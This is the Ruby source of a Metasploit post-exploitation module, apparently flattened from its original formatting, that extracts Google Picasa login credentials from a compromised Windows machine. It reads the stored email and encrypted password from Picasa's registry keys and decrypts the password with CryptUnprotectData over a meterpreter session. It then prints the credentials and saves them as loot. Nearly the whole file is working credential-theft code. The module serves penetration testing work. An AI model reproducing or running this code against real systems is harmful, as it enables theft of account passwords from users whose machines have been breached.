## # $Id$ ##
  ## # This file is part of the 
			Metasploit Framework and may be subject to # redistribution and 
			commercial restrictions. Please see the Metasploit # Framework 
			web site for more information on licensing and terms of use. # 
			http://metasploit.com/framework/ ##
  require 'msf/core' 
			require 'rex' require 'msf/core/post/windows/registry' require 
			'msf/core/post/windows/priv'
  class Metasploit3 < Msf::Post 
			 include Msf::Post::Windows::Registry include 
			Msf::Post::Windows::Priv include Msf::Auxiliary::Report
  
			def initialize(info={}) super( update_info( info, 'Name' => 
			'Google Picasa Password Extractor', 'Description' => %q{This 
			module extracts and decrypts the login passwords stored by Google 
			Picasa.}, 'License' => MSF_LICENSE, 'Author' => [ 
			'SecurityXploded Team', #www.SecurityXploded.com 'Sil3ntDre4m 
			<sil3ntdre4m[at]gmail.com>', ], 'Version' => '$Revision$', 
			'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] 
			)) end
 
  def prepare_railgun rg = session.railgun 
			if (!rg.get_dll('crypt32')) rg.add_dll('crypt32') end
  
			if (!rg.crypt32.functions["CryptUnprotectData"]) 
			rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ 
			["PBLOB","pDataIn", "in"], ["PWCHAR", "szDataDescr", "out"], 
			["PBLOB", "pOptionalEntropy", "in"], ["PDWORD", "pvReserved", 
			"in"], ["PBLOB", "pPromptStruct", "in"], ["DWORD", "dwFlags", 
			"in"], ["PBLOB", "pDataOut", "out"] ]) end end
  
			 def decrypt_password(data) rg = session.railgun pid = 
			client.sys.process.getpid process = client.sys.process.open(pid, 
			PROCESS_ALL_ACCESS)
  mem = process.memory.allocate(512) 
			process.memory.write(mem, data)
  if 
			session.sys.process.each_process.find { |i| i["pid"] == pid} 
			["arch"] == "x86" addr = [mem].pack("V") len = 
			[data.length].pack("V") ret = 
			rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 
			8) len, addr = ret["pDataOut"].unpack("V2") else addr = 
			[mem].pack("Q") len = [data.length].pack("Q") ret = 
			rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 
			16) len, addr = ret["pDataOut"].unpack("Q2") end
  return 
			"" if len == 0 decrypted_pw = process.memory.read(addr, len) 
			return decrypted_pw end
  def get_registry psecrets = "" 
			 begin print_status("Looking in registry for stored login 
			passwords by Picasa ...")
  username = 
			registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 
			'GaiaEmail') password = 
			registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 
			'GaiaPass')
  if username != nil and password != nil passbin 
			= [password].pack("H*") pass = decrypt_password(passbin)
  
			if pass != nil print_status("Username: #{username}") 
			print_status("Password: #{pass}") secret = "#{username}:#{pass}" 
			psecrets << secret end end
  #For early versions of 
			Picasa3 username = 
			registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 
			'GaiaEmail') password = 
			registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 
			'GaiaPass')
  if username != nil and password != nil passbin 
			= [password].pack("H*") pass = decrypt_password(passbin)
  
			if pass != nil print_status("Username: #{username}") 
			print_status("Password: #{pass}")
  secret = 
			"#{username}:#{pass}" psecrets << secret end end
  # 
			store the loot if psecrets != "" path = store_loot( 
			"picasa.decrypted", "text/plain", session, psecrets, 
			"decrypted_picasa_data.txt", "Decrypted Picasa Passwords") 
			 print_status("Decrypted passwords saved in: #{path}") end 
			 rescue ::Exception => e print_error("An error has occured: 
			#{e.to_s}") end end
  def run uid = 
			session.sys.config.getuid #Decryption only works in context of 
			user's account.
  if is_system? print_error("This module is 
			running under #{uid}.") print_error("Automatic decryption will 
			not be possible.") print_error("Migrate to a user process to 
			achieve successful decryption (e.g. explorer.exe).") else 
			prepare_railgun get_registry() end
  print_status("Done") 
			end end 
			 	
	
		
		 |